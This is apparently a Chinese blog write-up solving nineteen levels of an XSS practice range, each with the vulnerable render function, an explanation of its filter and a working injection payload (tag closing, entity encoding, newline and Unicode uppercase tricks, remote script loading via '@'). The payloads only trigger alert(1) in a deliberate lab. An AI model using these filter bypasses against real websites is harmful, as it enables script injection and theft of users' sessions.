xss靶场通关

0x00

没有任何过滤,直接用最基本的payload打就行

1
<script>alert(1)</script>

第一关-20250117172240-h073gei.png

0x01

审计代码

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

分析:<textarea>标签内为文本域,不能单纯的在中间插入<script>标签,因为标签会被解析成文本

所以我们首先先闭合<textarea>标签,然后插入xss语句。

payload如下:

1
</textarea><script>alert(1)</script><textarea>

第二关-20250117172505-suf8p96.png

0x02

审计代码

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

分析:input是我们的输入,先闭合双引号和标签(这里的单引号不闭合也可以,不闭合它就会和最前面的闭合),后面的>‘不用闭合,不会被解析。然后插入xss语句。

payload如下:

1
"><script>alert(1)</script>

第三关-20250117172522-fusyg63.png

0x03

审计代码

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

分析:正则匹配过滤掉了小括号,可以使用反引号或html实体编码绕过

payload如下:

1
2
3
<script>alert`1`</script>

<img src='' onerror='alert&#40;1&#41;'>

第四关-20250117172532-fx1vkci.png

0x04

审计代码

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

分析:过滤了反引号和中括号小括号,我们还可以编码绕过

payload如下:

1
<img src='' onerror='alert&#40;1&#41;'>

第五关-20250117172552-dkerwao.png

0x05

审计代码

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

分析:本题过滤了后面的一段注释符,并且需要闭合掉前面的一段注释符,可以使用–!>来闭合掉前面的注释符

payload如下:

1
--!><img src='' onerror='alert(1)'>

第六关-20250117172604-wq253d0.png

0x06

审计代码

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

分析:正则过滤了on开头和auto开头的以=结束字符和尖括号>,但是没有检测换行

payload如下:

1
2
onmouseover
="alert(1)"

第七关-20250117172629-49ylt87.png

0x07

审计代码

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

分析:正则匹配了所有的html语法标签,只要有<>闭合,就会被过滤,可以利⽤html的特性,单尖括号不闭合

payload如下:

1
<img src='' onerror='alert(1)'

0x08

审计代码

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

分析:正则过滤了</style>,但是没过滤插入空格和换行,我们可以通过空格或换行绕过

payload如下:

1
2
3
</style >
<script>alert(1)</script>
<style>

第九关-20250117172711-pf792b2.png

0x09

审计代码

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

分析:正则说的是输入的内容必须以 https://www.segmentfault.com 开头,再闭合前面的script标签,后面就可以随意插入恶意脚本,最后还要把后面的内容注释掉

payload如下:

1
https://www.segmentfault.com"></script><script>alert(1)</script>//

第十关-20250117172720-0a9bf6y.png

0x0A

审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

分析:这关也是必须以 https://www.segmentfault.com 开头,但是加了很多过滤,尖括号被过滤了,不能和上面一样闭合。这里思路是远程引用js代码,用@重定向来导入js,js里面是 alert(1);这里可以直接使用官方给出的js代码 j.js

payload如下:

1
https://www.segmentfault.com@xss.haozi.me/j.js

第十一关-20250117172732-8gdxxie.png

0X0B

审计代码

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

分析:此关卡是将我们的输入转化为大写,在HTML语句中不区分大小写,所以说能识别到标签,但是想让js语

句解析,必须要用小写,因此我们可以用html编码绕过他的大写。当然也可以使用上文所讲用远程引入js代码的方法绕过它的过滤

payload如下:

1
<img src="" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

第十二关-20250117172829-3ng9gls.png

0x0C

审计代码

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

分析:过滤了script标签,同时和上关一样将我们的输入转化为大写,同样可以用html编码绕过

payload如下:

1
<img src="" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

第十三关-20250117172839-y9ll6x7.png

0x0D

审计代码

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

分析:先用换行绕过注释符,本身已经在script标签里,所以直接可以alert(1),但是后面还有东西,再换行并用注释符–>注释掉

payload如下:

1
2
3

alert(1);
-->

第十四关-20250117172847-7rosqfa.png

0x0E

审计代码

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

分析:此关的正则匹配是<加上任何一个英文字母,并且将所输入的内容变为大写

这里补充一个小知识点,拉丁字母ſ(unicode编码为U+17F)大写后为S,可以使用它来绕过过滤

拉丁字母-20250117172915-8eumjav.png

payload如下:

1
<ſcript src="https://xss.haozi.me/j.js"></script>

第十五关-20250117172902-o8niyu3.png

0x0F

审计代码

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

分析:此关将输入一些特定字符替换为html编码,但是html编码会在标签内自动转换,所以说仅需要闭合括号即可

payload如下:

1
');alert(1);('

第十六关-20250117172927-ekoqqy4.png

0x10

审计代码

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

分析:此题仅需要补充完等号后面的东西,然后可以直接alert

payload如下:

1
1; alert(1);

第十七关-20250117172942-0dnsnik.png

0x11

审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

分析:正则又是过滤了很多字符,看似复杂,其实就是将⼀些字符转义了而已,直接闭合引号和括号然后插⼊语句即可

payload如下:

1
");alert(1)("

第十八关-20250117172951-bb5ljym.png

0x12

审计代码

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

分析:和上一关类似,此关把双引号替换为转义的双引号,只用在前面加上转义符来转义掉它替换后的转义符,后面用注释符注释

payload如下:

1
\");alert(1)//

第十九关-20250117173002-cbffa5e.png